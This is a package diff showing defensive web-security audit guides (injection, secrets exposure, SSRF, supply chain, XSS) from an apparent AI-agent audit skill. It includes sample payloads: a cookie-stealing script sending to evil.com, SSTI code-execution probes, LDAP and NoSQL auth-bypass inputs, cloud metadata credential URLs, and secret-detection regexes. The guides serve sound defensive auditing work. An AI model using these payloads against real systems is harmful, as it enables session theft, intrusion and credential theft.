cyberaudit-skill 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (60) hide show
  1. package/README.md +77 -0
  2. package/dist/cli.d.ts +2 -0
  3. package/dist/cli.js +241 -0
  4. package/dist/mcp-server.d.ts +2 -0
  5. package/dist/mcp-server.js +126 -0
  6. package/package.json +58 -0
  7. package/skills/cyberaudit/AGENT-BOOT.md +122 -0
  8. package/skills/cyberaudit/COMMANDS.md +1125 -0
  9. package/skills/cyberaudit/INSTALL.md +311 -0
  10. package/skills/cyberaudit/MASTER.md +194 -0
  11. package/skills/cyberaudit/README.md +154 -0
  12. package/skills/cyberaudit/USAGE-GUIDE.md +107 -0
  13. package/skills/cyberaudit/mobile/MOBILE-CHECKLIST.md +245 -0
  14. package/skills/cyberaudit/mobile/MOBILE-PHILOSOPHY.md +352 -0
  15. package/skills/cyberaudit/mobile/MOBILE-REMEDIATION-LIBRARY.md +468 -0
  16. package/skills/cyberaudit/mobile/MOBILE-THREAT-MODELS.md +279 -0
  17. package/skills/cyberaudit/mobile/frameworks/EXPO.md +247 -0
  18. package/skills/cyberaudit/mobile/frameworks/FLUTTER.md +338 -0
  19. package/skills/cyberaudit/mobile/frameworks/IONIC.md +248 -0
  20. package/skills/cyberaudit/mobile/frameworks/REACT-NATIVE.md +479 -0
  21. package/skills/cyberaudit/mobile/vulnerabilities/AUTH-MOBILE.md +160 -0
  22. package/skills/cyberaudit/mobile/vulnerabilities/BINARY-ANALYSIS.md +193 -0
  23. package/skills/cyberaudit/mobile/vulnerabilities/CRYPTO-MOBILE.md +192 -0
  24. package/skills/cyberaudit/mobile/vulnerabilities/IPC-DEEPLINKS.md +231 -0
  25. package/skills/cyberaudit/mobile/vulnerabilities/NETWORK-MOBILE.md +165 -0
  26. package/skills/cyberaudit/mobile/vulnerabilities/PERMISSIONS.md +180 -0
  27. package/skills/cyberaudit/mobile/vulnerabilities/RUNTIME-MOBILE.md +214 -0
  28. package/skills/cyberaudit/mobile/vulnerabilities/STORAGE.md +197 -0
  29. package/skills/cyberaudit/reports/EXECUTIVE-SUMMARY-TEMPLATE.md +188 -0
  30. package/skills/cyberaudit/reports/REPORT-TEMPLATE-MOBILE.md +410 -0
  31. package/skills/cyberaudit/reports/REPORT-TEMPLATE-WEB.md +222 -0
  32. package/skills/cyberaudit/shared/COMPLIANCE.md +307 -0
  33. package/skills/cyberaudit/shared/CVSS-GUIDE.md +175 -0
  34. package/skills/cyberaudit/shared/OWASP-MAPPER.md +130 -0
  35. package/skills/cyberaudit/shared/SEVERITY-SCORING.md +102 -0
  36. package/skills/cyberaudit/shared/THREAT-MODELING.md +112 -0
  37. package/skills/cyberaudit/web/WEB-CHECKLIST.md +222 -0
  38. package/skills/cyberaudit/web/WEB-PHILOSOPHY.md +308 -0
  39. package/skills/cyberaudit/web/WEB-REMEDIATION-LIBRARY.md +665 -0
  40. package/skills/cyberaudit/web/WEB-THREAT-MODELS.md +460 -0
  41. package/skills/cyberaudit/web/frameworks/ANGULAR.md +169 -0
  42. package/skills/cyberaudit/web/frameworks/EXPRESS.md +185 -0
  43. package/skills/cyberaudit/web/frameworks/LARAVEL.md +371 -0
  44. package/skills/cyberaudit/web/frameworks/NESTJS.md +337 -0
  45. package/skills/cyberaudit/web/frameworks/NEXTJS.md +352 -0
  46. package/skills/cyberaudit/web/frameworks/REACT.md +346 -0
  47. package/skills/cyberaudit/web/frameworks/VUE.md +205 -0
  48. package/skills/cyberaudit/web/vulnerabilities/AUTH-AUTHZ.md +117 -0
  49. package/skills/cyberaudit/web/vulnerabilities/BUSINESS-LOGIC.md +603 -0
  50. package/skills/cyberaudit/web/vulnerabilities/CORS.md +117 -0
  51. package/skills/cyberaudit/web/vulnerabilities/CSRF.md +131 -0
  52. package/skills/cyberaudit/web/vulnerabilities/DESERIALIZATION.md +96 -0
  53. package/skills/cyberaudit/web/vulnerabilities/HEADERS.md +105 -0
  54. package/skills/cyberaudit/web/vulnerabilities/IDOR-BOLA.md +153 -0
  55. package/skills/cyberaudit/web/vulnerabilities/INJECTION.md +165 -0
  56. package/skills/cyberaudit/web/vulnerabilities/SECRETS.md +119 -0
  57. package/skills/cyberaudit/web/vulnerabilities/SSRF.md +124 -0
  58. package/skills/cyberaudit/web/vulnerabilities/SUPPLY-CHAIN.md +142 -0
  59. package/skills/cyberaudit/web/vulnerabilities/XSS.md +133 -0
  60. package/skills/cyberaudit/web/vulnerabilities/XXE.md +94 -0
@@ -0,0 +1,165 @@
1
+ # 💉 INJECTION — VULNERABILITY GUIDE
2
+ # All forms of injection for web applications
3
+
4
+ ═══════════════════════════════════════════════════════════════
5
+ DEFINITION
6
+ ═══════════════════════════════════════════════════════════════
7
+
8
+ AN INJECTION = untrusted data sent to an interpreter
9
+ The interpreter cannot distinguish between
10
+ data and commands → it executes data as commands.
11
+
12
+ OWASP : A03:2021 — Injection
13
+ CWE : CWE-89 (SQL), CWE-77 (Command), CWE-94 (Code)
14
+
15
+ ═══════════════════════════════════════════════════════════════
16
+ SQL INJECTION
17
+ ═══════════════════════════════════════════════════════════════
18
+
19
+ TYPES :
20
+ Classic : Result directly visible
21
+ Blind : No result → behavior analysis
22
+ Time-based : Based on response delays (SLEEP())
23
+ Second-order: Injected now, executed later
24
+
25
+ PATTERNS TO DETECT (all frameworks) :
26
+ Direct interpolation : "SELECT * FROM users WHERE id = " + id
27
+ Template literals : `SELECT * FROM users WHERE id = ${id}`
28
+ PHP concatenation : "WHERE name = '" . $name . "'"
29
+ Format string : sprintf("WHERE id = %s", $id)
30
+
31
+ DETECTING DANGEROUS FUNCTIONS :
32
+ PHP : mysqli_query(), pg_query(), sqlite_query() with variables
33
+ Node : db.query(), pool.execute() without parameters
34
+ Python : cursor.execute() with f-string or %
35
+
36
+ UNIVERSAL REMEDIATION :
37
+ 1. Parameterized queries (prepared statements)
38
+ 2. ORM with safe query methods
39
+ 3. Whitelist for non-parameterizable parts (ORDER BY, table names)
40
+ 4. Principle of least privilege on DB account
41
+
42
+ ═══════════════════════════════════════════════════════════════
43
+ NOSQL INJECTION
44
+ ═══════════════════════════════════════════════════════════════
45
+
46
+ MONGODB — DANGEROUS PATTERNS :
47
+ DETECT :
48
+ // User input passed directly as filter
49
+ db.users.find({ username: req.body.username })
50
+ // If username = { $gt: "" } → returns all users!
51
+
52
+ // $where with JS code
53
+ db.users.find({ $where: `this.username == '${username}'` })
54
+
55
+ // Unrestricted regex → ReDoS
56
+ db.products.find({ name: { $regex: req.query.search } })
57
+
58
+ FIX :
59
+ // Sanitize MongoDB operators
60
+ import mongoSanitize from 'express-mongo-sanitize'
61
+ app.use(mongoSanitize())
62
+
63
+ // Or strict type validation
64
+ const username = String(req.body.username)
65
+ // String() converts everything to string,
66
+ // { $gt: "" } becomes "[object Object]"
67
+
68
+ // For Mongoose, use typed methods
69
+ await User.findOne({ username: username }) // Mongoose escapes
70
+
71
+ // $where : never use with user input
72
+ // Regex : always limit complexity
73
+ const searchTerm = req.query.search.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
74
+ await Product.find({ name: { $regex: searchTerm, $options: 'i' } })
75
+
76
+ ═══════════════════════════════════════════════════════════════
77
+ COMMAND INJECTION
78
+ ═══════════════════════════════════════════════════════════════
79
+
80
+ DANGEROUS PATTERNS :
81
+ NODE.JS :
82
+ exec(`ping ${host}`)
83
+ execSync(`convert ${req.file.path} output.jpg`)
84
+ spawn('sh', ['-c', userCommand])
85
+
86
+ PHP :
87
+ system("ping " . $host);
88
+ exec("ffmpeg -i " . $filename);
89
+ shell_exec(`convert {$userInput}`);
90
+
91
+ REMEDIATION :
92
+ // Avoid shell commands with user input
93
+ // Use native libraries instead
94
+
95
+ // ❌ Instead of:
96
+ exec(`convert ${inputFile} ${outputFile}`)
97
+
98
+ // ✅ Use sharp (Node.js) :
99
+ import sharp from 'sharp'
100
+ await sharp(inputPath).resize(800).toFile(outputPath)
101
+
102
+ // If shell unavoidable : strict validation + no shell=true
103
+ import { execFile } from 'child_process'
104
+
105
+ // Whitelist commands and arguments
106
+ const allowedHosts = ['google.com', 'github.com']
107
+ if (!allowedHosts.includes(host)) throw new Error('Host not allowed')
108
+
109
+ execFile('ping', ['-c', '1', host], (err, stdout) => {
110
+ // execFile does not interpret shell
111
+ // Arguments are passed directly, not via sh -c
112
+ })
113
+
114
+ ═══════════════════════════════════════════════════════════════
115
+ SSTI (SERVER-SIDE TEMPLATE INJECTION)
116
+ ═══════════════════════════════════════════════════════════════
117
+
118
+ VULNERABLE ENGINES AND TEST PAYLOADS :
119
+ Jinja2/Twig : {{7*7}} → 49 if vulnerable
120
+ Twig : {{_self.env.registerUndefinedFilterCallback("exec")}}
121
+ EJS : <%= 7*7 %>
122
+ Handlebars : {{constructor.constructor('return process')()}}
123
+ Pug/Jade : #{7*7}
124
+
125
+ PATTERNS TO DETECT :
126
+ // Template compiled with user input
127
+ const template = ejs.compile(req.body.template)
128
+ const html = pug.render(userTemplate)
129
+ const result = nunjucks.renderString(userContent, data)
130
+
131
+ REMEDIATION :
132
+ // Never render templates provided by the user
133
+ // Use static templates with variables
134
+ // (not dynamic templates provided by the user)
135
+
136
+ // ❌ DANGEROUS :
137
+ const rendered = ejs.render(req.body.emailTemplate, { name: user.name })
138
+
139
+ // ✅ SECURE : Fixed template, variable data
140
+ const rendered = ejs.render(
141
+ fs.readFileSync('./templates/email.ejs', 'utf-8'),
142
+ { name: sanitize(user.name) }
143
+ )
144
+
145
+ ═══════════════════════════════════════════════════════════════
146
+ LDAP INJECTION
147
+ ═══════════════════════════════════════════════════════════════
148
+
149
+ DANGEROUS PATTERNS :
150
+ filter = "(&(uid=" + username + ")(userPassword=" + password + "))"
151
+ // If username = *)(& → auth bypass possible
152
+
153
+ REMEDIATION :
154
+ // Escape LDAP special characters
155
+ function escapeLdap(input: string): string {
156
+ return input
157
+ .replace(/\\/g, '\\5c')
158
+ .replace(/\*/g, '\\2a')
159
+ .replace(/\(/g, '\\28')
160
+ .replace(/\)/g, '\\29')
161
+ .replace(/\0/g, '\\00')
162
+ }
163
+
164
+ const safeUsername = escapeLdap(username)
165
+ const filter = `(&(uid=${safeUsername})(objectClass=person))`
@@ -0,0 +1,119 @@
1
+ # 🔑 SECRETS EXPOSURE — VULNERABILITY GUIDE
2
+
3
+ ═══════════════════════════════════════════════════════════════
4
+ DEFINITION
5
+ ═══════════════════════════════════════════════════════════════
6
+
7
+ A SECRET IN CODE = a secret shared with :
8
+ → All developers with repo access
9
+ → GitHub/GitLab (if breach or accidental public repo)
10
+ → CI/CD logs
11
+ → Error messages (if displayed)
12
+ → Source maps (if exposed)
13
+ → Anyone who forks or clones the repo
14
+
15
+ OWASP : A02:2021 — Cryptographic Failures
16
+ CWE : CWE-798 — Hardcoded Credentials
17
+
18
+ ═══════════════════════════════════════════════════════════════
19
+ PATTERNS TO DETECT
20
+ ═══════════════════════════════════════════════════════════════
21
+
22
+ UNIVERSAL REGEX PATTERNS :
23
+ AWS Keys : AKIA[0-9A-Z]{16}
24
+ AWS Secret : aws_secret_access_key\s*=\s*[A-Za-z0-9/+=]{40}
25
+ OpenAI : sk-[A-Za-z0-9]{48}
26
+ GitHub Token : gh[pousr]_[A-Za-z0-9_]{36,255}
27
+ Stripe Live : sk_live_[0-9a-zA-Z]{24}
28
+ Stripe Test : sk_test_[0-9a-zA-Z]{24}
29
+ Private Key : -----BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY-----
30
+ JWT Secret : jwt[_-]?secret\s*[:=]\s*["'][^"']{8,}
31
+ DB URL : (postgresql|mysql|mongodb)://[^:]+:[^@]+@
32
+ Generic Pwd : password\s*[:=]\s*["'][^"']{6,}
33
+
34
+ OFTEN FORGOTTEN LOCATIONS :
35
+ → Test files (test.js, spec.php, fixtures)
36
+ → Database seed files
37
+ → Migration scripts
38
+ → Example configuration files
39
+ → Comments in code
40
+ → Git history (git log -p | grep -i "api_key")
41
+ → Variables in GitHub Actions
42
+ → Variables in Dockerfiles
43
+
44
+ ═══════════════════════════════════════════════════════════════
45
+ REMEDIATION
46
+ ═══════════════════════════════════════════════════════════════
47
+
48
+ STEP 1 — IMMEDIATE ROTATION (if secret exposed)
49
+ 1. Revoke the exposed secret IMMEDIATELY
50
+ 2. Generate a new secret
51
+ 3. Deploy with the new secret
52
+ 4. Check logs for unauthorized access
53
+ 5. Inform stakeholders if necessary
54
+
55
+ STEP 2 — REMOVE FROM CODE
56
+ // Remove from current code
57
+ // But beware : it remains in git history!
58
+
59
+ STEP 3 — PURGE GIT HISTORY
60
+ # Use BFG Repo Cleaner (simpler than git-filter-branch)
61
+ # Installation : brew install bfg
62
+
63
+ # Delete an entire file
64
+ bfg --delete-files .env
65
+
66
+ # Replace a specific value
67
+ echo "sk-abc123...==>REMOVED" > replacements.txt
68
+ bfg --replace-text replacements.txt
69
+
70
+ # Finalize
71
+ git reflog expire --expire=now --all
72
+ git gc --prune=now --aggressive
73
+ git push origin --force --all
74
+
75
+ # WARNING : Notify the entire team to re-clone
76
+
77
+ STEP 4 — PREVENTION
78
+ # .gitignore
79
+ .env
80
+ .env.local
81
+ .env.*.local
82
+ .env.production
83
+ *.key
84
+ *.pem
85
+ secrets.json
86
+ config/secrets.yml
87
+
88
+ # Pre-commit hook with detect-secrets
89
+ pip install detect-secrets
90
+ detect-secrets scan > .secrets.baseline
91
+ # In .pre-commit-config.yaml :
92
+ # - repo: https://github.com/Yelp/detect-secrets
93
+ # hooks:
94
+ # - id: detect-secrets
95
+
96
+ # GitHub : enable Secret Scanning in settings
97
+ # GitLab : enable Secret Detection in CI
98
+
99
+ STEP 5 — SECRET MANAGER
100
+ SOLUTIONS :
101
+ → HashiCorp Vault (self-hosted, very comprehensive)
102
+ → AWS Secrets Manager (if on AWS)
103
+ → Google Secret Manager (if on GCP)
104
+ → Azure Key Vault (if on Azure)
105
+ → Infisical (open-source, easy)
106
+ → Doppler (SaaS, simple)
107
+
108
+ // Example with Infisical (Node.js)
109
+ import { InfisicalClient } from '@infisical/sdk'
110
+
111
+ const client = new InfisicalClient({
112
+ token: process.env.INFISICAL_TOKEN,
113
+ })
114
+
115
+ const { secretValue: dbPassword } = await client.getSecret({
116
+ environment: 'production',
117
+ projectId: process.env.INFISICAL_PROJECT_ID,
118
+ secretName: 'DB_PASSWORD',
119
+ })
@@ -0,0 +1,124 @@
1
+ # 🌍 SSRF — SERVER-SIDE REQUEST FORGERY GUIDE
2
+
3
+ ═══════════════════════════════════════════════════════════════
4
+ DEFINITION
5
+ ═══════════════════════════════════════════════════════════════
6
+
7
+ SSRF = The attacker forces the server to make HTTP requests
8
+ to destinations they control, including
9
+ internal resources normally inaccessible.
10
+
11
+ WHY IT IS CRITICAL :
12
+ → In cloud (AWS, GCP, Azure) : access to instance metadata
13
+ → IAM credentials → cloud account compromise
14
+ → Access to internal services not publicly exposed
15
+ → Redis, Elasticsearch, internal databases
16
+ → Internal network scanning
17
+ → Firewall bypass
18
+
19
+ OWASP : A10:2021
20
+ CWE : CWE-918
21
+
22
+ ═══════════════════════════════════════════════════════════════
23
+ PATTERNS TO DETECT
24
+ ═══════════════════════════════════════════════════════════════
25
+
26
+ SSRF ENTRY POINTS :
27
+ → fetch(url) where url comes from user
28
+ → axios.get(req.body.url)
29
+ → Import of an external URL (PDF, image, file)
30
+ → User-configured webhook
31
+ → Content proxy
32
+ → HTML-to-PDF conversion with URL
33
+ → Import/export from a URL
34
+ → Link preview (OpenGraph scraping)
35
+
36
+ VULNERABLE CODE :
37
+ // ❌ File import from user URL
38
+ app.post('/import', async (req, res) => {
39
+ const { url } = req.body
40
+ const content = await fetch(url) // SSRF!
41
+ await processContent(content)
42
+ })
43
+
44
+ // ❌ Webhook without validation
45
+ app.post('/webhook-config', async (req, res) => {
46
+ const { callbackUrl } = req.body
47
+ await WebhookConfig.create({ url: callbackUrl }) // SSRF on trigger
48
+ })
49
+
50
+ // ❌ Image proxy
51
+ app.get('/proxy', async (req, res) => {
52
+ const { url } = req.query
53
+ const response = await fetch(url) // SSRF
54
+ response.body.pipe(res)
55
+ })
56
+
57
+ // ❌ HTML-to-PDF with URL
58
+ const pdf = await htmlToPdf.create(req.body.url)
59
+
60
+ CLOUD SSRF TARGETS :
61
+ AWS : http://169.254.169.254/latest/meta-data/
62
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
63
+ GCP : http://metadata.google.internal/computeMetadata/v1/
64
+ Azure: http://169.254.169.254/metadata/instance
65
+
66
+ ═══════════════════════════════════════════════════════════════
67
+ REMEDIATION
68
+ ═══════════════════════════════════════════════════════════════
69
+
70
+ APPROACH 1 — DOMAIN WHITELIST
71
+ const ALLOWED_DOMAINS = new Set([
72
+ 'trusted-partner.com',
73
+ 'cdn.yourapp.com',
74
+ 'api.github.com',
75
+ ])
76
+
77
+ async function safeFetch(url: string): Promise<Response> {
78
+ let parsed: URL
79
+ try {
80
+ parsed = new URL(url)
81
+ } catch {
82
+ throw new Error('Invalid URL')
83
+ }
84
+
85
+ // 1. HTTP/HTTPS protocol only
86
+ if (!['http:', 'https:'].includes(parsed.protocol)) {
87
+ throw new Error('Protocol not allowed')
88
+ }
89
+
90
+ // 2. Hostname in whitelist
91
+ const hostname = parsed.hostname.toLowerCase()
92
+ if (!ALLOWED_DOMAINS.has(hostname)) {
93
+ throw new Error('Domain not allowed')
94
+ }
95
+
96
+ // 3. DNS resolution and IP verification
97
+ const { address } = await dns.promises.lookup(hostname)
98
+ if (isPrivateIP(address)) {
99
+ throw new Error('Private IP not allowed')
100
+ }
101
+
102
+ return fetch(url, { redirect: 'error' }) // No redirects
103
+ }
104
+
105
+ function isPrivateIP(ip: string): boolean {
106
+ const privateRanges = [
107
+ /^10\./,
108
+ /^172\.(1[6-9]|2\d|3[01])\./,
109
+ /^192\.168\./,
110
+ /^127\./,
111
+ /^169\.254\./, // Link-local (cloud metadata)
112
+ /^::1$/, // IPv6 loopback
113
+ /^fc00:/, // IPv6 private
114
+ /^fe80:/, // IPv6 link-local
115
+ ]
116
+ return privateRanges.some(range => range.test(ip))
117
+ }
118
+
119
+ APPROACH 2 — NETWORK (Infrastructure)
120
+ → Configure firewall to block outbound requests
121
+ from the server to the internal network
122
+ → Block access to cloud metadata endpoints
123
+ at the network ACL level
124
+ → Use a dedicated outbound proxy that filters destinations
@@ -0,0 +1,142 @@
1
+ # 📦 SUPPLY CHAIN — VULNERABILITY GUIDE
2
+
3
+ ═══════════════════════════════════════════════════════════════
4
+ DEFINITION
5
+ ═══════════════════════════════════════════════════════════════
6
+
7
+ SUPPLY CHAIN ATTACK = Compromising an application
8
+ via a third-party dependency rather than directly.
9
+
10
+ Real examples :
11
+ → Log4Shell (CVE-2021-44228) : Log4j → RCE in thousands of apps
12
+ → event-stream (2018) : backdoored npm package → crypto theft
13
+ → xz utils (2024) : backdoor in a Linux compression library
14
+ → ua-parser-js (2021) : compromised npm package → cryptominer
15
+
16
+ OWASP : A06:2021 — Vulnerable and Outdated Components
17
+ CWE : CWE-1104
18
+
19
+ ═══════════════════════════════════════════════════════════════
20
+ ATTACK VECTORS
21
+ ═══════════════════════════════════════════════════════════════
22
+
23
+ TYPOSQUATTING
24
+ → Malicious package with a name similar to the legitimate package
25
+ → "coIors" (capital I) instead of "colors"
26
+ → "lodahs" instead of "lodash"
27
+ → "crossenv" instead of "cross-env"
28
+
29
+ DEPENDENCY CONFUSION
30
+ → Internal package named "monapp-utils"
31
+ → Attacker publishes "monapp-utils" on public npm
32
+ → npm installs the public version (higher version number)
33
+ → Backdoor executed in CI/CD
34
+
35
+ PACKAGE HIJACKING
36
+ → Developer abandons a popular package
37
+ → Attacker takes over maintainership
38
+ → Publishes a trojaned version
39
+
40
+ MAINTAINER ACCOUNT COMPROMISE
41
+ → npm/PyPI maintainer account hacked
42
+ → New version published with backdoor
43
+
44
+ MALICIOUS POSTINSTALL
45
+ → postinstall script in a dependency's package.json
46
+ → Executed automatically on every npm install
47
+ → Exfiltrates secrets, installs a backdoor
48
+
49
+ ═══════════════════════════════════════════════════════════════
50
+ DEPENDENCY AUDIT
51
+ ═══════════════════════════════════════════════════════════════
52
+
53
+ AUDIT COMMANDS :
54
+ npm:
55
+ npm audit # Known CVEs
56
+ npm audit --audit-level=high # High+ only
57
+ npx better-npm-audit audit # Better UI
58
+ npx npm-check-updates # Outdated packages
59
+
60
+ Yarn:
61
+ yarn audit
62
+ yarn outdated
63
+
64
+ PNPM:
65
+ pnpm audit
66
+
67
+ PHP Composer:
68
+ composer audit # Since Composer 2.4
69
+ # OR
70
+ composer require --dev roave/security-advisories
71
+
72
+ Python:
73
+ pip-audit # pip install pip-audit
74
+ safety check # pip install safety
75
+
76
+ WHAT TO LOOK FOR :
77
+ □ Unfixed critical and high CVEs
78
+ □ Unmaintained packages (last publish > 2 years, 0 downloads)
79
+ □ Packages with suspicious postinstall scripts
80
+ □ Packages requesting too many permissions
81
+ □ Missing or uncommitted lock file
82
+ □ Versions pinned with ^ or ~ (permissive)
83
+ □ Dependencies directly from GitHub without hash
84
+
85
+ ═══════════════════════════════════════════════════════════════
86
+ REMEDIATION
87
+ ═══════════════════════════════════════════════════════════════
88
+
89
+ COMMIT LOCK FILES
90
+ # These files must be in git
91
+ package-lock.json
92
+ yarn.lock
93
+ pnpm-lock.yaml
94
+ composer.lock
95
+ Pipfile.lock
96
+ poetry.lock
97
+
98
+ # They guarantee everyone installs
99
+ # exactly the same versions
100
+
101
+ PIN VERSIONS (critical dependencies)
102
+ # Instead of :
103
+ "react": "^18.0.0" # Accepts 18.x.x
104
+
105
+ # For critical dependencies :
106
+ "react": "18.2.0" # Exactly this version
107
+
108
+ VERIFY POSTINSTALL SCRIPTS
109
+ # In a dependency's package.json, look for :
110
+ "scripts": {
111
+ "postinstall": "node ./dist/install.js" # What does this script do?
112
+ }
113
+
114
+ # npm option : disable scripts
115
+ npm install --ignore-scripts
116
+
117
+ # Manually check unknown packages before installation
118
+
119
+ AUDIT IN CI/CD
120
+ # GitHub Actions
121
+ - name: Security audit
122
+ run: |
123
+ npm audit --audit-level=high
124
+ exit_code=$?
125
+ if [ $exit_code -ne 0 ]; then
126
+ echo "::error::Critical vulnerabilities detected"
127
+ exit 1
128
+ fi
129
+
130
+ PRIVATE REGISTRY
131
+ # .npmrc to force private registry
132
+ registry=https://registry.your-company.com
133
+ always-auth=true
134
+
135
+ # Prevents dependency confusion by configuring private scopes
136
+ @company:registry=https://registry.your-company.com
137
+
138
+ ADDITIONAL TOOLS
139
+ → Socket.dev : behavioral analysis of npm packages
140
+ → Snyk : dependency audit with auto-fix
141
+ → Dependabot: automatic PRs for security updates
142
+ → Renovate : similar to Dependabot, more configurable
@@ -0,0 +1,133 @@
1
+ # 🔥 XSS — CROSS-SITE SCRIPTING GUIDE
2
+
3
+ ═══════════════════════════════════════════════════════════════
4
+ DEFINITION AND TYPES
5
+ ═══════════════════════════════════════════════════════════════
6
+
7
+ XSS = Injection of malicious JavaScript code
8
+ that executes in a victim's browser.
9
+
10
+ OWASP : A03:2021
11
+ CWE : CWE-79
12
+
13
+ TYPE 1 — REFLECTED XSS
14
+ Payload in request → response → immediate execution
15
+ Vector : Malicious link sent to victim
16
+ Example : GET /search?q=<script>alert(1)</script>
17
+
18
+ TYPE 2 — STORED XSS (most dangerous)
19
+ Payload stored in DB → displayed to other users
20
+ Vector : Comment, profile, message, page title
21
+ Example : Comment with <script>document.location='evil.com?c='+document.cookie</script>
22
+
23
+ TYPE 3 — DOM XSS
24
+ Payload manipulates DOM directly via JavaScript
25
+ Vector : URL hash, postMessage, localStorage
26
+ Example : document.getElementById('msg').innerHTML = location.hash
27
+
28
+ TYPE 4 — BLIND XSS
29
+ Payload executed in an admin context invisible to attacker
30
+ Vector : Support fields, admin logs, internal forms
31
+ Tools : XSS Hunter for detection
32
+
33
+ ═══════════════════════════════════════════════════════════════
34
+ PATTERNS TO DETECT
35
+ ═══════════════════════════════════════════════════════════════
36
+
37
+ JAVASCRIPT DANGEROUS SINKS
38
+ element.innerHTML = userInput
39
+ element.outerHTML = userInput
40
+ document.write(userInput)
41
+ document.writeln(userInput)
42
+ element.insertAdjacentHTML('afterbegin', userInput)
43
+ eval(userInput)
44
+ new Function(userInput)
45
+ setTimeout(userInput) // If string
46
+ setInterval(userInput) // If string
47
+ location.href = userInput // Open redirect + XSS
48
+ location = userInput
49
+ location.assign(userInput)
50
+
51
+ VUE — DANGEROUS :
52
+ v-html="userInput" // Without sanitization
53
+
54
+ REACT — DANGEROUS :
55
+ dangerouslySetInnerHTML={{ __html: userInput }}
56
+
57
+ ANGULAR — DANGEROUS :
58
+ bypassSecurityTrustHtml(userInput)
59
+ [innerHTML]="userInput" // Angular sanitizes, but be careful
60
+
61
+ PHP/BLADE — DANGEROUS :
62
+ {!! $userInput !!}
63
+ <?= $userInput ?>
64
+ echo $userInput
65
+
66
+ ═══════════════════════════════════════════════════════════════
67
+ CONTENT SECURITY POLICY (CSP)
68
+ ═══════════════════════════════════════════════════════════════
69
+
70
+ CSP = Last line of defense against XSS.
71
+ Even if code is injected, CSP prevents its execution.
72
+
73
+ STRONG CSP (recommended)
74
+ Content-Security-Policy:
75
+ default-src 'self';
76
+ script-src 'self' 'nonce-{RANDOM_NONCE}';
77
+ style-src 'self' 'unsafe-inline';
78
+ img-src 'self' data: https:;
79
+ font-src 'self';
80
+ connect-src 'self' https://api.yourapp.com;
81
+ frame-ancestors 'none';
82
+ base-uri 'self';
83
+ form-action 'self';
84
+ upgrade-insecure-requests;
85
+
86
+ NONCE (for legitimate inline scripts)
87
+ // Server side : generate a unique nonce per request
88
+ const nonce = crypto.randomBytes(16).toString('base64')
89
+
90
+ // In CSP header :
91
+ script-src 'self' 'nonce-{NONCE}'
92
+
93
+ // In HTML :
94
+ <script nonce="{NONCE}">
95
+ // Legitimate inline script
96
+ </script>
97
+
98
+ COMMON CSP ERRORS
99
+ ❌ unsafe-inline in script-src → CSP useless against XSS
100
+ ❌ unsafe-eval in script-src → eval() allowed
101
+ ❌ * in default-src → Too permissive
102
+ ❌ data: in script-src → XSS via data URI
103
+
104
+ TEST YOUR CSP :
105
+ → https://csp-evaluator.withgoogle.com/
106
+ → Mozilla Observatory : https://observatory.mozilla.org/
107
+
108
+ ═══════════════════════════════════════════════════════════════
109
+ REMEDIATION BY CONTEXT
110
+ ═══════════════════════════════════════════════════════════════
111
+
112
+ HTML CONTEXT (between tags)
113
+ ❌ <div>USERDATA</div>
114
+ ✅ <div>{{ htmlspecialchars(userdata) }}</div>
115
+ ✅ <div>{{ userdata }}</div> (Vue, Angular, Blade auto-escape)
116
+ ✅ <div>{userdata}</div> (React auto-escape)
117
+
118
+ HTML ATTRIBUTE CONTEXT
119
+ ❌ <div class="USERDATA">
120
+ ✅ <div class="{{ attr(userdata) }}">
121
+ Warning : Even a non-event attribute can be dangerous
122
+ <div style="background: url(USERDATA)"> → XSS via url()
123
+
124
+ URL CONTEXT
125
+ ❌ <a href="USERDATA">
126
+ ✅ Validate that URL starts with http:// or https://
127
+ and not with javascript: or data:
128
+
129
+ JAVASCRIPT CONTEXT
130
+ ❌ <script>var x = 'USERDATA';</script>
131
+ ✅ Use JSON.stringify() for JS values
132
+ ✅ Or better : never inject data into JS
133
+ Use API calls instead